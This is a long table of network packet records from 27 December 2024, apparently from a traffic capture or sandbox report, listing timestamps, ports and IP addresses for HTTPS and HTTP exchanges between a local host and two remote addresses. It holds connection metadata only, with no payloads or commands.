Dec 27, 2024 08:50:39.347892046 CET	443	49733	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:39.348021030 CET	49733	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:39.348038912 CET	443	49733	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:39.348061085 CET	49733	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:39.348191023 CET	49733	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:39.348212957 CET	49733	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:39.395324945 CET	443	49733	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:39.395514011 CET	49733	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:39.395548105 CET	443	49733	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:39.395580053 CET	49733	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:39.395601988 CET	443	49733	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:39.395637989 CET	49733	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:39.395662069 CET	443	49733	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:41.888866901 CET	443	49733	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:41.888973951 CET	443	49733	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:41.889174938 CET	49733	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:41.889430046 CET	49733	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:41.889450073 CET	443	49733	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:41.909224987 CET	49746	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:41.909301043 CET	443	49746	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:41.909369946 CET	49746	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:41.909755945 CET	49746	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:41.909782887 CET	443	49746	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:43.212706089 CET	443	49746	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:43.212779045 CET	49746	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:43.214148045 CET	49746	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:43.214168072 CET	443	49746	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:43.214412928 CET	443	49746	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:43.215789080 CET	49746	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:43.215831995 CET	49746	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:43.215874910 CET	443	49746	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:43.960161924 CET	443	49746	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:43.960252047 CET	443	49746	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:43.960314989 CET	49746	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:43.961103916 CET	49746	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:50:43.961129904 CET	443	49746	104.21.11.101	192.168.2.6
Dec 27, 2024 08:50:43.963643074 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:44.083072901 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:44.084336042 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:44.085819006 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:44.205225945 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.477897882 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.477919102 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.477941990 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.477952957 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.477969885 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.477983952 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:45.477992058 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.478005886 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.478018999 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.478039026 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:45.478053093 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:45.478173971 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.478185892 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.478230000 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:45.597589016 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.597655058 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.597738028 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:45.679095984 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.679197073 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.679339886 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:45.683235884 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.683363914 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.683474064 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:45.691669941 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.691813946 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.692518950 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:45.699676991 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.699776888 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.700018883 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:45.708045959 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.708177090 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.708231926 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:45.716428041 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.716540098 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.716615915 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:45.724880934 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.724942923 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.725120068 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:45.733352900 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.733370066 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.733449936 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:45.741681099 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.741791964 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.746529102 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:45.750015974 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.750133991 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.750281096 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:45.758493900 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.758521080 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.758646011 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:45.798855066 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.849838972 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:45.880507946 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.880537033 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.880646944 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:45.882986069 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.883088112 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.883177042 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:45.888155937 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.888242960 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.888400078 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:45.893223047 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.893333912 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.893390894 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:45.898364067 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.898441076 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.898492098 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:45.903484106 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.903575897 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.904561043 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:45.908615112 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.908668041 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.908766985 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:45.913743973 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.913853884 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.913904905 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:45.918848038 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.918968916 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.919302940 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:45.923964024 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.924065113 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.924614906 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:45.929124117 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.929197073 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.929955006 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:45.934186935 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.934329033 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.934386969 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:45.939337969 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.939405918 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.939502001 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:45.944431067 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.944539070 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.944616079 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:45.949562073 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.949659109 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.950278997 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:45.954660892 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.954773903 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.954924107 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:45.959822893 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.959882975 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.959971905 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:45.964920044 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.965029001 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.965159893 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:45.970068932 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.970139980 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:45.970227003 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.081799984 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.081907988 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.082031012 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.083766937 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.083880901 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.084064960 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.087869883 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.089310884 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.089365005 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.089423895 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.093331099 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.093399048 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.093421936 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.097348928 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.097435951 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.097467899 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.101401091 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.101488113 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.101713896 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.105086088 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.105196953 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.105649948 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.108942032 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.109002113 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.109441042 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.112657070 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.112813950 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.112901926 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.116481066 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.116688013 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.116775036 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.120209932 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.120318890 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.120351076 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.124042988 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.124135971 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.124207973 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.127939939 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.128024101 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.128197908 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.131623983 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.131736040 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.131812096 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.135478973 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.135550022 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.135617971 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.139344931 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.139456034 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.139651060 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.143042088 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.143132925 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.143137932 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.146859884 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.146918058 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.146944046 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.150661945 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.150769949 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.150859118 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.154460907 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.154591084 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.154601097 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.158257008 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.158343077 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.158394098 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.162061930 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.162111998 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.162153006 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.165821075 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.165975094 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.166050911 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.169612885 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.169672012 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.169701099 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.173456907 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.173532009 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.173757076 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.177670956 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.177797079 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.178792000 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.182720900 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.182773113 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.183356047 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.184804916 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.184868097 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.184923887 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.188699961 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.188895941 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.189169884 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.192398071 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.192452908 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.192495108 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.196264982 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.196336031 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.196432114 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.240506887 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.283176899 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.283258915 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.283483028 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.284658909 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.284733057 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.284775019 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.287719011 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.287791967 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.287925005 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.290782928 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.290988922 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.291193962 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.293858051 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.293992996 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.294047117 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.296909094 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.297008038 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.297318935 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.299827099 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.299899101 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.300560951 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.302529097 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.302598000 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.302687883 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.308100939 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.308140993 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.308197975 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.308290005 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.308325052 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.308357000 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.311033964 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.311148882 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.311261892 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.313764095 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.313884020 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.314048052 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.316384077 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.316471100 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.316521883 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.319046021 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.319116116 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.321548939 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.321626902 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.321717978 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.324136972 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.324266911 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.324310064 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.324310064 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.326853037 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.327022076 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.327069044 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.329273939 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.329353094 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.329427958 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.331831932 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.331935883 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.334423065 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.334538937 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.334585905 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.334645987 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.336952925 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.337048054 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.339479923 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.339600086 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.339642048 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.339642048 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.342156887 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.342204094 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.342269897 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.344635963 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.344696999 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.344758987 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.348428011 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.348490953 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.348535061 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.349672079 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.349759102 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.349833965 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.352468967 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.352488995 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.352603912 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.355178118 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.355834007 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.356096983 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.357399940 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.357470036 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.357557058 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.359946012 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.360083103 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.360148907 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.362545967 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.362603903 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.362831116 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:46.365762949 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:46.365847111 CET	80	49752	185.215.113.16	192.168.2.6
